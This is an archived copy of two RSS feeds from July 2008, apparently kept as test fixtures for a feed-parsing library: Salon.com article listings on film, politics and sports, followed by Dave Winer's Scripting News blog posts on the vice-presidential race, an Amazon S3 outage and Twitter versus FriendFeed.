-- but there's a hole in his plot. <p><a href="http://feeds.salon.com/~a/salon/index?a=c0bh9q"><img src="http://feeds.salon.com/~a/salon/index?i=c0bh9q" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/342063678" height="1" width="1"/> The thinking man's action hero The thinking man's action hero Farhad Manjoo Tue, 22 Jul 2008 03:40:00 PDT http://www.salon.com/ent/tv/review/2008/07/22/macgyver/index.html?source=rss&aim=/ent/tv/review http://www.salon.com/ent/tv/review/2008/07/22/macgyver/index.html http://letters.salon.com/ent/tv/review/2008/07/22/macgyver/view/?source=rss&aim=/ent/tv/reviewUsing paper clips, chewing gum, chocolate and down-home ingenuity, MacGyver always saved the day. Let's bring him back -- and give him a girl! <p><a href="http://feeds.salon.com/~a/salon/index?a=rucVEw"><img src="http://feeds.salon.com/~a/salon/index?i=rucVEw" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/342063676" height="1" width="1"/> Roman holiday Roman holiday Gary Kamiya Tue, 22 Jul 2008 03:35:00 PDT http://www.salon.com/opinion/kamiya/2008/07/22/rome/index.html?source=rss&aim=/opinion/kamiya http://www.salon.com/opinion/kamiya/2008/07/22/rome/index.html http://letters.salon.com/opinion/kamiya/2008/07/22/rome/view/?source=rss&aim=/opinion/kamiyaThe Eternal City is too vast and ancient to grasp, and the harder you try, the more it slips away. So you have to dream your way into it. <p><a href="http://feeds.salon.com/~a/salon/index?a=ua5H3x"><img src="http://feeds.salon.com/~a/salon/index?i=ua5H3x" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/342063679" height="1" width="1"/> Since you asked ... I was masturbating in my office to kinky Internet porn when another mom walked in Cary Tennis Tue, 22 Jul 2008 03:10:00 PDT http://www.salon.com/mwt/col/tenn/2008/07/22/interrupted/index.html?source=rss&aim=/mwt/col/tenn http://www.salon.com/mwt/col/tenn/2008/07/22/interrupted/index.html http://letters.salon.com/mwt/col/tenn/2008/07/22/interrupted/view/?source=rss&aim=/mwt/col/tennI live in a small, conservative town. I'm petrified about what she may have seen! <p><a href="http://feeds.salon.com/~a/salon/index?a=n17kc2"><img src="http://feeds.salon.com/~a/salon/index?i=n17kc2" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/342063680" height="1" width="1"/> This Modern World This Modern World Tom Tomorrow Tue, 22 Jul 2008 02:49:00 PDT http://www.salon.com/comics/tomo/2008/07/22/tomo/index.html?source=rss&aim=/comics/tomo http://www.salon.com/comics/tomo/2008/07/22/tomo/index.html http://letters.salon.com/comics/tomo/2008/07/22/tomo/view/?source=rss&aim=/comics/tomoMcCain mania explained. <p><a href="http://feeds.salon.com/~a/salon/index?a=71LMNb"><img src="http://feeds.salon.com/~a/salon/index?i=71LMNb" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/342063681" height="1" width="1"/> Janet Jackson's boob freed Janet Jackson's boob freed King Kaufman Mon, 21 Jul 2008 10:45:00 PDT http://www.salon.com/sports/daily/feature/2008/07/21/jackson/index.html?source=rss&aim=/sports/daily/feature http://www.salon.com/sports/daily/feature/2008/07/21/jackson/index.html http://letters.salon.com/sports/daily/feature/2008/07/21/jackson/view/?source=rss&aim=/sports/daily/featureA federal appeals court throws out CBS's $550,000 fine for the Super Bowl "wardrobe malfunction." <p><a href="http://feeds.salon.com/~a/salon/index?a=h0skPd"><img src="http://feeds.salon.com/~a/salon/index?i=h0skPd" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/341742849" height="1" width="1"/> Iraqi prime minister: Obama has "right time frame" for withdrawal Iraqi prime minister: Obama has "right time frame" for withdrawal Mathias Muller von Blumencron and Bernard Zand Mon, 21 Jul 2008 06:58:00 PDT http://www.salon.com/news/feature/2008/07/21/al_maliki/index.html?source=rss&aim=/news/feature http://www.salon.com/news/feature/2008/07/21/al_maliki/index.html http://letters.salon.com/news/feature/2008/07/21/al_maliki/view/?source=rss&aim=/news/featureRead the interview with Der Spiegel in which Nouri al-Maliki backs Barack Obama's timetable for leaving Iraq. <p><a href="http://feeds.salon.com/~a/salon/index?a=A41T5V"><img src="http://feeds.salon.com/~a/salon/index?i=A41T5V" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/341564487" height="1" width="1"/> The Unwritten Rule War rages on The Unwritten Rule War rages on King Kaufman Mon, 21 Jul 2008 04:00:00 PDT http://www.salon.com/sports/daily/feature/2008/07/21/bunt/index.html?source=rss&aim=/sports/daily/feature http://www.salon.com/sports/daily/feature/2008/07/21/bunt/index.html http://letters.salon.com/sports/daily/feature/2008/07/21/bunt/view/?source=rss&aim=/sports/daily/featureIf the Blue Jays threw at the Rays for bunting with a five-run lead in the sixth, things are getting worse. <p><a href="http://feeds.salon.com/~a/salon/index?a=fjcKHk"><img src="http://feeds.salon.com/~a/salon/index?i=fjcKHk" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/341344920" height="1" width="1"/> Religion is poetry Religion is poetry Steve Paulson Mon, 21 Jul 2008 04:21:00 PDT http://www.salon.com/books/atoms_eden/2008/07/21/james_carse/index.html?source=rss&aim=/books/atoms_eden http://www.salon.com/books/atoms_eden/2008/07/21/james_carse/index.html http://letters.salon.com/books/atoms_eden/2008/07/21/james_carse/view/?source=rss&aim=/books/atoms_edenThe beauties of religion need to be saved from both the true believers and the trendy atheists, argues compelling religious scholar James Carse. <p><a href="http://feeds.salon.com/~a/salon/index?a=s5diq7"><img src="http://feeds.salon.com/~a/salon/index?i=s5diq7" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/341080388" height="1" width="1"/> How big will Democratic gains be this fall? How big will Democratic gains be this fall? Thomas F. Schaller Mon, 21 Jul 2008 04:20:00 PDT http://www.salon.com/news/feature/2008/07/21/house_roundtable/index.html?source=rss&aim=/news/feature http://www.salon.com/news/feature/2008/07/21/house_roundtable/index.html http://letters.salon.com/news/feature/2008/07/21/house_roundtable/view/?source=rss&aim=/news/featureA panel of experts projects the number of seats Democrats will add in the House in November -- and which Democrats are most likely to lose their jobs. <p><a href="http://feeds.salon.com/~a/salon/index?a=9pvkBc"><img src="http://feeds.salon.com/~a/salon/index?i=9pvkBc" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/341080389" height="1" width="1"/> The good humor man The good humor man James Hannaham Mon, 21 Jul 2008 03:42:00 PDT http://www.salon.com/books/int/2008/07/21/jokes/index.html?source=rss&aim=/books/int http://www.salon.com/books/int/2008/07/21/jokes/index.html http://letters.salon.com/books/int/2008/07/21/jokes/view/?source=rss&aim=/books/intWho invented jokes, and why do we laugh at them? Jim Holt discusses the history of funny. <p><a href="http://feeds.salon.com/~a/salon/index?a=eRqZtD"><img src="http://feeds.salon.com/~a/salon/index?i=eRqZtD" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/341080390" height="1" width="1"/> Why I hate summer Why I hate summer Rachel Shukert Mon, 21 Jul 2008 03:41:00 PDT http://www.salon.com/mwt/feature/2008/07/21/summertime_blues/index.html?source=rss&aim=/mwt/feature http://www.salon.com/mwt/feature/2008/07/21/summertime_blues/index.html http://letters.salon.com/mwt/feature/2008/07/21/summertime_blues/view/?source=rss&aim=/mwt/featureSweaty thighs sticking to plastic chairs? Miserable barbecues and forced merriment? Thanks, but I'll pass. <p><a href="http://feeds.salon.com/~a/salon/index?a=xxBoei"><img src="http://feeds.salon.com/~a/salon/index?i=xxBoei" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/341080391" height="1" width="1"/> Since you asked ... I bailed on taking the bar exam at the last minute -- twice Cary Tennis Mon, 21 Jul 2008 03:33:00 PDT http://www.salon.com/mwt/col/tenn/2008/07/21/procrastination/index.html?source=rss&aim=/mwt/col/tenn http://www.salon.com/mwt/col/tenn/2008/07/21/procrastination/index.html http://letters.salon.com/mwt/col/tenn/2008/07/21/procrastination/view/?source=rss&aim=/mwt/col/tennI finally got through law school but I'm having a problem with procrastination. <p><a href="http://feeds.salon.com/~a/salon/index?a=YFdLPE"><img src="http://feeds.salon.com/~a/salon/index?i=YFdLPE" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/341080392" height="1" width="1"/> Opus Opus Berkeley Breathed Sun, 20 Jul 2008 04:03:00 PDT http://www.salon.com/comics/opus/2008/07/20/opus/index.html?source=rss&aim=/comics/opus http://www.salon.com/comics/opus/2008/07/20/opus/index.html http://letters.salon.com/comics/opus/2008/07/20/opus/view/?source=rss&aim=/comics/opusEven scarier than violent death. <p><a href="http://feeds.salon.com/~a/salon/index?a=8g116U"><img src="http://feeds.salon.com/~a/salon/index?i=8g116U" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/340274663" height="1" width="1"/> I Like to Watch I Like to Watch: "Greatest American Dog" exposes the freakiest American dog people, while the "Dog Whisperer" trains them to calm the hell down Heather Havrilesky Sun, 20 Jul 2008 04:00:00 PDT http://www.salon.com/ent/tv/iltw/2008/07/20/dog/index.html?source=rss&aim=/ent/tv/iltw http://www.salon.com/ent/tv/iltw/2008/07/20/dog/index.html http://letters.salon.com/ent/tv/iltw/2008/07/20/dog/view/?source=rss&aim=/ent/tv/iltwHuman beings are hard to love. They say insensitive things. They get in the way. They wear dumb shoes. They talk too loudly. They repeat themselves. They roll their eyes and hog the remote. They drive like assholes. They fail to see how much unnecessary space they take up. They fail to shower you with the affection and admiration you deserve. <P> Dogs, on the other hand, are impossible <i>not</i> to love. They&#x27;re cute. They have lots of energy. They greet you with spontaneous outbursts of genuine feeling. They know how to relax. They look funny when you dress them in <a href=&#x22;http://www.etoys.com/genProduct.html/PID/4773715/ctid/17?ci_sku=376127E&#x26;ci_src=14110944&#x26;_ts=A008&#x22;>stupid outfits</a>. They&#x27;ll gleefully rip the nards off the UPS man if you deem it necessary. Even when they&#x27;re depressed, they cheer up instantly when they hear the word &#x22;squirrel.&#x22; <p>...</p> <p><a href="http://feeds.salon.com/~a/salon/index?a=6AOP4g"><img src="http://feeds.salon.com/~a/salon/index?i=6AOP4g" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/340274664" height="1" width="1"/> Critics' Picks Critics' Picks Sat, 19 Jul 2008 06:00:00 PDT http://www.salon.com/ent/critics_picks/2008/07/19/july19/index.html?source=rss&aim=/ent/critics_picks http://www.salon.com/ent/critics_picks/2008/07/19/july19/index.html http://letters.salon.com/ent/critics_picks/2008/07/19/july19/view/?source=rss&aim=/ent/critics_picksWhat you need to see, read, do this week: Heidi Klum and Tim Gunn return; Beck's back, too, and in great form. <p><a href="http://feeds.salon.com/~a/salon/index?a=v7wSay"><img src="http://feeds.salon.com/~a/salon/index?i=v7wSay" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/339487609" height="1" width="1"/> A thousand and one knights A thousand and one knights Douglas Wolk Sat, 19 Jul 2008 04:38:00 PDT http://www.salon.com/ent/movies/feature/2008/07/19/batman_comics/index.html?source=rss&aim=/ent/movies/feature http://www.salon.com/ent/movies/feature/2008/07/19/batman_comics/index.html http://letters.salon.com/ent/movies/feature/2008/07/19/batman_comics/view/?source=rss&aim=/ent/movies/featureThere have been countless versions of Batman, from brooding crusader to gadget-loving detective. How does "The Dark Knight" measure up? <p><a href="http://feeds.salon.com/~a/salon/index?a=SD6q3t"><img src="http://feeds.salon.com/~a/salon/index?i=SD6q3t" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/339487610" height="1" width="1"/> Batman vs. the gay English gangster! Batman vs. the lavender genius of crime! Andrew O'Hehir Fri, 18 Jul 2008 04:34:00 PDT http://www.salon.com/ent/movies/btm/feature/2008/07/18/condition/index.html?source=rss&aim=/ent/movies/btm/feature http://www.salon.com/ent/movies/btm/feature/2008/07/18/condition/index.html http://letters.salon.com/ent/movies/btm/feature/2008/07/18/condition/view/?source=rss&aim=/ent/movies/btm/featureI watched the great 10-hour Japanese antiwar film! Now it's your turn. Plus: Topiary genius, life after the tsunami, and a gay British crime lord. <p><a href="http://feeds.salon.com/~a/salon/index?a=2aFx3K"><img src="http://feeds.salon.com/~a/salon/index?i=2aFx3K" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/338621674" height="1" width="1"/> One more good reason to lift the embargo on Cuba One more good reason to lift the embargo on Cuba Joe Conason Fri, 18 Jul 2008 04:09:00 PDT http://www.salon.com/opinion/conason/2008/07/18/cuba/index.html?source=rss&aim=/opinion/conason http://www.salon.com/opinion/conason/2008/07/18/cuba/index.html http://letters.salon.com/opinion/conason/2008/07/18/cuba/view/?source=rss&aim=/opinion/conasonLet's seize the potential of the nation's sugar-based ethanol -- before China beats us to it. <p><a href="http://feeds.salon.com/~a/salon/index?a=v3zXdv"><img src="http://feeds.salon.com/~a/salon/index?i=v3zXdv" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/338570516" height="1" width="1"/> "Mamma Mia!" "Mamma Mia!" Stephanie Zacharek Fri, 18 Jul 2008 03:50:00 PDT http://www.salon.com/ent/movies/review/2008/07/18/mamma_mia/index.html?source=rss&aim=/ent/movies/review http://www.salon.com/ent/movies/review/2008/07/18/mamma_mia/index.html http://letters.salon.com/ent/movies/review/2008/07/18/mamma_mia/view/?source=rss&aim=/ent/movies/reviewPierce Brosnan sings! Meryl Streep dances! Can't you hear ABBA's "SOS"? <p><a href="http://feeds.salon.com/~a/salon/index?a=BopZve"><img src="http://feeds.salon.com/~a/salon/index?i=BopZve" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/338570517" height="1" width="1"/> "Before I Forget" "Before I Forget" Stephanie Zacharek Fri, 18 Jul 2008 03:45:00 PDT http://www.salon.com/ent/movies/review/2008/07/18/forget/index.html?source=rss&aim=/ent/movies/review http://www.salon.com/ent/movies/review/2008/07/18/forget/index.html http://letters.salon.com/ent/movies/review/2008/07/18/forget/view/?source=rss&aim=/ent/movies/reviewThis movie about a former hustler is a devastating portrait of the aging body. <p><a href="http://feeds.salon.com/~a/salon/index?a=p68byu"><img src="http://feeds.salon.com/~a/salon/index?i=p68byu" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/338570518" height="1" width="1"/> Bush-league bloggers Bush-league bloggers King Kaufman Fri, 18 Jul 2008 03:35:00 PDT http://www.salon.com/sports/daily/feature/2008/07/18/minors/index.html?source=rss&aim=/sports/daily/feature http://www.salon.com/sports/daily/feature/2008/07/18/minors/index.html http://letters.salon.com/sports/daily/feature/2008/07/18/minors/view/?source=rss&aim=/sports/daily/featurePro athletes are typing away like never before. Most of it's bad, but minor league baseball is a veritable writer's colony. <p><a href="http://feeds.salon.com/~a/salon/index?a=oqi0l0"><img src="http://feeds.salon.com/~a/salon/index?i=oqi0l0" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/338570519" height="1" width="1"/> Knowing me, knowing ABBA Knowing me, knowing ABBA Mary Elizabeth Williams Fri, 18 Jul 2008 03:30:00 PDT http://www.salon.com/ent/music/feature/2008/07/18/abba/index.html?source=rss&aim=/ent/music/feature http://www.salon.com/ent/music/feature/2008/07/18/abba/index.html http://letters.salon.com/ent/music/feature/2008/07/18/abba/view/?source=rss&aim=/ent/music/featureHow did a cheesy Scandinavian pop group in jumpsuits and blue eye shadow become as seriously beloved as the Beatles? <p><a href="http://feeds.salon.com/~a/salon/index?a=gkwo7q"><img src="http://feeds.salon.com/~a/salon/index?i=gkwo7q" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/338570520" height="1" width="1"/> WayLay WayLay Carol Lay Fri, 18 Jul 2008 02:15:00 PDT http://www.salon.com/comics/lay/2008/07/18/lay/index.html?source=rss&aim=/comics/lay http://www.salon.com/comics/lay/2008/07/18/lay/index.html http://letters.salon.com/comics/lay/2008/07/18/lay/view/?source=rss&aim=/comics/layLet's hope Steve's will to live is as strong as his skull. <p><a href="http://feeds.salon.com/~a/salon/index?a=m74qea"><img src="http://feeds.salon.com/~a/salon/index?i=m74qea" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/338570521" height="1" width="1"/> First-half predictions: Predictably bad First-half predictions: Predictably bad King Kaufman Thu, 17 Jul 2008 04:00:00 PDT http://www.salon.com/sports/daily/feature/2008/07/17/predictions/index.html?source=rss&aim=/sports/daily/feature http://www.salon.com/sports/daily/feature/2008/07/17/predictions/index.html http://letters.salon.com/sports/daily/feature/2008/07/17/predictions/view/?source=rss&aim=/sports/daily/featureIt's not pretty for this column, though not as ugly as for those who picked the Mariners. <p><a href="http://feeds.salon.com/~a/salon/index?a=KVNv4b"><img src="http://feeds.salon.com/~a/salon/index?i=KVNv4b" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/337853292" height="1" width="1"/> "The Dark Knight" "The Dark Knight" Stephanie Zacharek Thu, 17 Jul 2008 04:00:00 PDT http://www.salon.com/ent/movies/review/2008/07/17/dark_knight/index.html?source=rss&aim=/ent/movies/review http://www.salon.com/ent/movies/review/2008/07/17/dark_knight/index.html http://letters.salon.com/ent/movies/review/2008/07/17/dark_knight/view/?source=rss&aim=/ent/movies/reviewThe most anticipated movie of the summer has arrived -- and Heath Ledger's Joker is nothing to laugh at. <p><a href="http://feeds.salon.com/~a/salon/index?a=XFIzH1"><img src="http://feeds.salon.com/~a/salon/index?i=XFIzH1" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/337570483" height="1" width="1"/> Flip-flopping to the White House Flip-flopping to the White House Mike Madden Thu, 17 Jul 2008 03:51:00 PDT http://www.salon.com/news/feature/2008/07/17/flip_flop/index.html?source=rss&aim=/news/feature http://www.salon.com/news/feature/2008/07/17/flip_flop/index.html http://letters.salon.com/news/feature/2008/07/17/flip_flop/view/?source=rss&aim=/news/featureHow Barack Obama and John McCain are changing positions on everything from wiretapping to taxes. <p><a href="http://feeds.salon.com/~a/salon/index?a=XSu0cW"><img src="http://feeds.salon.com/~a/salon/index?i=XSu0cW" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/337570484" height="1" width="1"/> Since you asked ... I'm afraid I'm doing the wrong art Cary Tennis Thu, 17 Jul 2008 03:50:00 PDT http://www.salon.com/mwt/col/tenn/2008/07/17/wrong_art/index.html?source=rss&aim=/mwt/col/tenn http://www.salon.com/mwt/col/tenn/2008/07/17/wrong_art/index.html http://letters.salon.com/mwt/col/tenn/2008/07/17/wrong_art/view/?source=rss&aim=/mwt/col/tennShould I paint, or sculpt, or write? I can't decide. <p><a href="http://feeds.salon.com/~a/salon/index?a=Ni46mM"><img src="http://feeds.salon.com/~a/salon/index?i=Ni46mM" border="0"></img></a></p><img src="http://feeds.salon.com/~r/salon/index/~4/337570485" height="1" width="1"/> Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.scripting.com-rss.xml0000664000175000017500000015241312653701626025726 0ustar janjan Scripting News http://www.scripting.com/ Dave Winer's weblog, started in April 1997, bootstrapped the blogging revolution. en-us Copyright 1997-2008 Dave Winer Mon, 21 Jul 2008 07:00:00 GMT Mon, 21 Jul 2008 22:37:44 GMT http://cyber.law.harvard.edu/rss/rss.html OPML Editor version 0.72 scriptingnewsmail@gmail.com scriptingnewsmail@gmail.com VPs coming soon http://www.scripting.com/stories/2008/07/21/vpsComingSoon.html http://www.scripting.com/stories/2008/07/21/vpsComingSoon.html http://www.scripting.com/stories/2008/07/21/vpsComingSoon.html#disqus_thread <img src="http://images.scripting.com/archiveScriptingCom/2008/07/21/einstein.jpg" width="125" height="177" border="0" align="right" hspace="15" vspace="5" alt="A picture named einstein.jpg">Friends close to both campaigns say the announcements of the Republican and Democratic choices for vice-president are likely coming within the week. At that the announcements will be unusually late. <br><br> No speculation on the choices from the sources, however -- I have a strong feeling that McCain will pick Romney. Seems like an obvious balance to McCain. Younger, but not too young. Tall and healthy, conservative. He might be smarter than McC, but not by too much. <br><br> Obama will pick someone safe, not too famous, not flamboyant. Easy on the eyes and easy to forget.<br><br> McCain, who is the full-hour guest on This Week on Sunday may choose that venue to make his announcement, opposite Obama who is the full-hour guest on Meet the Press.<br><br> Mon, 21 Jul 2008 22:29:20 GMT April Fool in July? http://www.scripting.com/stories/2008/07/21/aprilFoolInJuly.html http://www.scripting.com/stories/2008/07/21/aprilFoolInJuly.html http://www.scripting.com/stories/2008/07/21/aprilFoolInJuly.html#disqus_thread <a href="http://www.youtube.com/watch?v=Z8kzkdmPCJI"><img src="http://images.scripting.com/archiveScriptingCom/2008/07/21/joker.jpg" width="85" height="127" border="0" align="right" hspace="15" vspace="5" alt="A picture named joker.jpg"></a>I don't know about those guys over at TechCrunch, they always get me with their April Fools jokes. Now here comes this <a href="http://www.techcrunchit.com/2008/07/21/the-techcrunch-web-tablet-project/">piece</a> that announces they're getting into the hardware business! Could it be for real? I don't know!!<br><br> I'm reminded of this <a href="http://www.techcrunch.com/2008/07/19/pressflip-is-a-belly-flop/">post</a> by Mike this weekend where he reviewed a service by the former editors of Uncov, and said, quite accurately that you always understimate how hard something is when you look in from the outside. Making something easy to use is a lot more work than making soemthing that's not, although to the non-engineer this seems counter-intuitive.<br><br> Now, Nik <i>is</i> an engineer, so I don't want to be appearing to talk down to him, cause that wouldn't be appropriate. But this does either seem completely utterly unrealistic or a damned good off-season April Fool joke. <img src="http://www.scripting.com/gifs/QBullets/qbullets/sidesmiley.gif" width="11" height="11" border="0" alt="smile"><br><br> PS: <a href="http://www.techcrunch.com/2008/07/21/we-want-a-dead-simple-web-tablet-help-us-build-it/">This post</a> suggests that it's serious. In which case it's a good thing -- thinking big is how you get big things done. Best of luck. I'll buy one for $200 for sure. Maybe even more. <img src="http://www.scripting.com/gifs/QBullets/qbullets/sidesmiley.gif" width="11" height="11" border="0" alt="smile"><br><br> Mon, 21 Jul 2008 20:51:05 GMT Catching up with the Junks http://www.scripting.com/stories/2008/07/21/catchingUpWithTheJunks.html http://www.scripting.com/stories/2008/07/21/catchingUpWithTheJunks.html http://www.scripting.com/stories/2008/07/21/catchingUpWithTheJunks.html#disqus_thread A couple of minor updates from the Land of Junks.<br><br> 1. <a href="http://identi.ca/newsjunk">NewsJunk</a> and <a href="http://identi.ca/techjunk">TechJunk</a> are now available on identi.ca, thanks to its new wonderful <a href="http://www.scripting.com/stories/2008/07/18/identicaImplementsTheTwitt.html">API</a>.<br><br> 2. <a href="http://newsjunk.com/index.opml">Both</a> <a href="http://tech.newsjunk.com/index.opml">feeds</a> are available in OPML as well, for applications that like OPML. <br><br> Mon, 21 Jul 2008 20:20:03 GMT Amazon S3 down all day http://www.scripting.com/stories/2008/07/20/amazonS3DownAllDay.html http://www.scripting.com/stories/2008/07/20/amazonS3DownAllDay.html http://www.scripting.com/stories/2008/07/20/amazonS3DownAllDay.html#disqus_thread <img src="http://scripting.com/images/joker.gif" align="right" hspace="15" vspace="5" border="0" width="75" height="208" alt="Joker!"><a href="http://www.flickr.com/photos/scriptingnews/2686359455/">As you can see</a>, we host most of our images on Amazon S3. As do many other sites. <br><br> It's been a marvel of uptime, until it goes down. And today's outage is the worst so far (there have only been two others). I'm sure they're working their butts off to get it back on the air, but as probably a lot of others are doing today, I'm thinking of ways to avoid these outages in the future.<br><br> It seems there is a business opportunity here -- it would be easy to hook up an external service to S3, and for a fee, keep a mirror on another server. Then it would be a matter of redirecting domains to point at the other server when S3 goes down. <br><br> It would be a smart service to combine with a DNS service, or a registrar.<br><br> That solution would work for Scripting News, since all the images are hosted on Amazon through an alias called <i>images.scripting.com.</i> That could easily be pointed to a different server that hosts a mirror. Of course that will have to wait until Amazon comes back. <img src="http://www.scripting.com/gifs/QBullets/qbullets/sidesmiley.gif" width="11" height="11" border="0" alt="smile"><br><br> Update 6:30PM: S3 is working again. <br><br> <a href="http://shtikl.com/2008/things-i-learned-from-apple-and-amazon-s3-in-july-08/"><img src="http://images.scripting.com/archiveScriptingCom/2008/07/20/cartoon.gif" width="85" height="95" border="0" alt="A picture named cartoon.gif"></a><br><br> Sun, 20 Jul 2008 22:38:00 GMT Feature suggestion for Twitter http://www.scripting.com/stories/2008/07/19/featureSuggestionForTwitte.html http://www.scripting.com/stories/2008/07/19/featureSuggestionForTwitte.html http://www.scripting.com/stories/2008/07/19/featureSuggestionForTwitte.html#disqus_thread <img src="http://images.scripting.com/archiveScriptingCom/2008/07/19/joker.jpg" width="125" height="347" border="0" align="right" hspace="15" vspace="5" alt="A picture named joker.jpg">"Like" Is a FriendFeed feature that Twitter should have. It's a misnomer, it's not about liking something. When you like something that means you recommend it. Everyone who follows you gets the recommendation.<br><br> How it would work in Twitter.<br><br> 1. You're reading something I wrote in Twitter.<br><br> 2. You say you "like" it -- which is like adding it to your Favorites (same UI).<br><br> 3. It goes on your output stream. All the people who follow you see it too.<br><br> People are doing this manually now -- "retweeting" -- but this is one click and the system remembers where it came from. If it were possible to hang stuff off a tweet (as it is in FF) then there would only be one place.<br><br> Twitter should have this. It's a very important feature.<br><br> PS: From now on when I say something should be in Twitter, it should also be in all Twitter clones, for now that's identi.ca.<br><br> PPS: I'm sure Twitter-only people are sick of hearing it, but FF has mystical qualities that I'm not sure anyone fully appreciates. It reveals little bits of itself to you slowly over time. Not sure it's always the best way, but it's like a puzzle, a story that you want to know how it will turn out. You can't get it from a quick look, you have to immerse yourself in it. Not saying everyone should, but I'm glad I did. <img src="http://www.scripting.com/gifs/QBullets/qbullets/sidesmiley.gif" width="11" height="11" border="0" alt="smile"><br><br> PPPS: I'm started to develop systems on top of FriendFeed that I initially thought I would develop on Twitter. Their reliability and performance make it thinkable, where Twitter has become flaky, not only technically, but also in the way it deals with developers. Could happen with FF too, but then my fallback is identi.ca, where worse comes to worse, I could operate my own net.<br><br> PPPPS: I am however using identi.ca for something I thought I would use Twitter for. As a lightweight identity system. For the project I'm working on, I'm requiring users to have an identi.ca login. This little thing has huge implications in the identity space. A lightweight low-security login that's accessible via API, it's something I've been asking Google and Yahoo to do for ages. They can't seem to wrap their minds around it. Along comes identi.ca and boom, problem solved. <br><br> Sat, 19 Jul 2008 17:28:24 GMT Mini-blog posts http://www.scripting.com/stories/2008/07/19/miniblogPosts.html http://www.scripting.com/stories/2008/07/19/miniblogPosts.html http://www.scripting.com/stories/2008/07/19/miniblogPosts.html#disqus_thread <img src="http://images.scripting.com/archiveScriptingCom/2008/07/19/joker.jpg" width="125" height="347" border="0" align="right" hspace="15" vspace="5" alt="A picture named joker.jpg">I never agreed that Twitter is what some people call a micro-blogging service. Just didn't feel much like blogging to me. But FriendFeed is another story. I am using it more like a blogging tool than Twitter. For example...<br><br> 1. Yesterday I snuck out to see the new Batman movie on its opening day. I wrote my first <a href="http://friendfeed.com/e/d4d15d1d-1406-4cd2-8b48-d9ad9edbc909/Skipped-out-to-see-the-new-Batman-movie-this/">review</a> on FF. In the morning (now) I have more thoughts. If Heath Ledger hadn't died, and if there were two other big performances like his, it might have been on the same level as The Departed, and that's high praise. The other characters and the actors who portrayed them weren't anywhere near as interesting as Ledger's Joker, who unlike <a href="http://www.youtube.com/watch?v=gfr21Rq2A8I&feature=related">Nicholson's</a> or <a href="http://www.geocities.com/Hollywood/Hills/7537/joker.htm">Romero's</a> -- wasn't funny, at least not in the normal way. He is a pathetic character, wonderfully pathetic. Really something to see. So my first impression last night was pretty lukewarm, but after a few hours it seems more masterful. You could have cut out most of the other scenes and made a movie just about the Joker and that would have been great. Too bad Ledger died. He was becoming a really fine actor.<br><br> 2. <a href="http://www.scripting.com/stories/2008/07/17/checkingOutTheAsus.html">As you may know</a> I bought a cute little Windows laptop on impulse the other day. It was a good move. And on FF last night I <a href="http://friendfeed.com/e/392aa92d-db99-4b79-aebe-c69036a68684/Still-trying-to-get-networking-between-Macs-and/">asked for help</a> networking it with my Macs. Glad i bought it. Gotta keep up on what the other guys are doing. Apple has been doing pretty well, the iPhone was risky, and they pulled it off, not easy to do. Microsoft usually takes three tries to get it right, Apple got it right the first time. But in ultra-portable laptops, Apple isn't cutting it. This little EEE PC thing is a marvel. There are some really crappy things about it, like the uncontrollable trackpad and the keypad is tiny, and squinting at the tiny screen hurts my eyes, but it really is a joy of a product. If only it ran Mac OS. <img src="http://www.scripting.com/gifs/QBullets/qbullets/sidesmiley.gif" width="11" height="11" border="0" alt="smile"><br><br> Sat, 19 Jul 2008 14:55:19 GMT What about blogging? http://www.scripting.com/stories/2008/07/19/whatAboutBlogging.html http://www.scripting.com/stories/2008/07/19/whatAboutBlogging.html http://www.scripting.com/stories/2008/07/19/whatAboutBlogging.html#disqus_thread Publishing keeps getting cheaper.<br><br> <img src="http://images.scripting.com/archiveScriptingCom/2008/07/19/justScoble.jpg" width="107" height="79" border="0" align="right" hspace="15" vspace="5" alt="A picture named justScoble.jpg">That's been the constant push, the practical application of Moore's Law in my neck of the woods. I've always been a publishing guy, and that's always been how I viewed computers, and it's why I got into them in the first place.<br><br> Most people don't get this, the real story of blogging is just the continuation of the process. You could just have easily focused on the laser printer, Aldus Pagemaker and local area networking in the 1980s, or the web browser and Netscape in the 1990s. Blogging is the leading edge in publishing in the first decade of this century. <br><br> Here's what <a href="http://gothamist.com/2004/04/09/clay_shirky_internet_technologist.php">Clay Shirky says</a> on the subject. "Forget about blogs and bloggers and blogging and focus on this -- the cost and difficulty of publishing absolutely anything, by anyone, into a global medium, just got a whole lot lower. And the effects of that increased pool of potential producers is going to be vast."<br><br> Well put, and definitely worth passing along.<br><br> Sat, 19 Jul 2008 14:44:00 GMT Go read Marc's post now http://www.scripting.com/stories/2008/07/18/goReadMarcsPostNow.html http://www.scripting.com/stories/2008/07/18/goReadMarcsPostNow.html http://www.scripting.com/stories/2008/07/18/goReadMarcsPostNow.html#disqus_thread <img src="http://images.scripting.com/archiveScriptingCom/2008/07/18/sammy.gif" width="85" 